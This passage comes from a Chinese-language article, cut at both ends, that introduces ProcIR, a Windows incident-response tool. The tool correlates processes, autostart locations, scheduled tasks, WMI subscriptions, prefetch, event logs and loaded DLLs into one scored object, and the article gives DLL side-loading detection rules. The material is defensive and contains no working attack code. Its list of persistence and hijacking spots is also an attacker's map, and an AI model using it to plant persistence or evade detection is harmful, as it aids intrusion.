leaf="">市面上大部分排查工具的思路是&#34;逐项检查&#34;——看进程列表、看自启动、看网络连接，各看各的，然后人工脑内关联。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ProcIR 的核心设计思路不一样：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">把所有维度采集到的数据，归一到同一个对象上，做融合评分。</span></strong></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">统一对象模型</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">举个例子，假设 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">C:\Users\Public\evil.exe</span></code><span leaf=""> 这个文件：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">在「活跃进程」里，它 PID 是 1234，在跑</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">在「注册表 Run」里，它被写了自启动</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">在「计划任务」里，有个任务指向它</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">在「Prefetch」里，它执行过 3 次</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">在「事件日志」里，4688 记录了它的创建</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">在「DLL 模块」里，它加载了一个同目录的未签名 version.dll</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">传统工具你得在 6 个不同的地方分别发现这些信息，然后自己拼起来。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ProcIR 的做法是：这 6 条线索全部关联到同一个 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">ExecutionObject</span></code><span leaf="">，统一打分：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 0px;"><span leaf="">ExecutionScore (进程评分)     = 47</span><span leaf=""><br/></span><span leaf="">TriggerScore   (触发器评分)   = 35</span><span leaf=""><br/></span><span leaf="">ForensicScore  (历史痕迹评分) = 20</span><span leaf=""><br/></span><span leaf="">EventScore     (事件评分)     = 25</span><span leaf=""><br/></span><span leaf="">DLLHijackScore (模块评分)     = 65</span><span leaf=""><br/></span><span leaf="">SynergyBonus   (组合加权)     = 40</span><span leaf=""><br/></span><span leaf="">─────────────────────────────</span><span leaf=""><br/></span><span leaf="">FinalScore                    = 232 → Critical</span></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一眼就知道该先看谁。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">八个分析维度</span></span></h2><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">1. 运行态：当前谁在跑</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">枚举所有活跃进程，提取：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">PID / PPID / 进程名 / 完整路径 / 命令行 / 用户 / 启动时间</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">文件 SHA256 / MD5</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">数字签名验证（WinVerifyTrust）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">父子进程关系分析</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">40+ LOLBin 识别</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">系统文件名伪装检测（svchost.exe 是不是真的在 System32？）</span></p></li></ul><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">2. 触发态：谁在等着被触发</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不只看&#34;正在运行&#34;，还看&#34;未来会运行&#34;：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">注册表 Run / RunOnce（6 个位置）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">Startup 文件夹</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">计划任务（深度解析：作者、触发方式、是否隐藏、运行账户、执行间隔）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">系统服务（启动类型、ServiceDLL）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">WMI 事件订阅（EventFilter + Consumer + Binding 完整链路）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">IFEO 调试器劫持</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">Winlogon Shell/Userinit 劫持</span></p></li></ul><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">3. 历史态：谁曾经来过</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">即使样本已删除、进程已退出：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">Prefetch</span></strong><span leaf="">：Windows 预取文件，记录了曾经执行过什么</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">最近文件修改</span></strong><span leaf="">：72 小时内用户目录/Temp 下新建的 exe/dll/脚本</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">事件日志</span></strong><span leaf="">：4688 进程创建、4104 PowerShell 脚本块、7045 服务安装、4698 任务创建</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">DLL 模块枚举</span></strong><span leaf="">：所有进程加载的 DLL</span></p></li></ul><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">4. 事件态：系统记录了什么</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从 8 个日志源提取高价值事件：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">Security（4688/4697/4698/4702/4624/4625/4648/4672）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">System（7045）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">PowerShell Operational（4104）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">TaskScheduler Operational</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">WMI Activity</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">Sysmon（如果有，自动检测）</span></p></li></ul><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">5. 模块态：白加黑检测</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这是实战中最高频的攻击手法之一。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">核心检测逻辑：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">签名进程 + 用户目录未签名 DLL = 白加黑</span></strong><span leaf="">（+40 分）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">EXE 同目录未签名 DLL = 经典侧加载</span></strong><span leaf="">（+35 分）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">系统进程加载用户目录 DLL = 极高危</span></strong><span leaf="">（+50 分，直接 Critical）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">系统 DLL 名 + 非系统路径 = 伪装</span></strong><span leaf="">（+30 分）</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内置 50+ 个常见被侧加载的系统 DLL 名。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 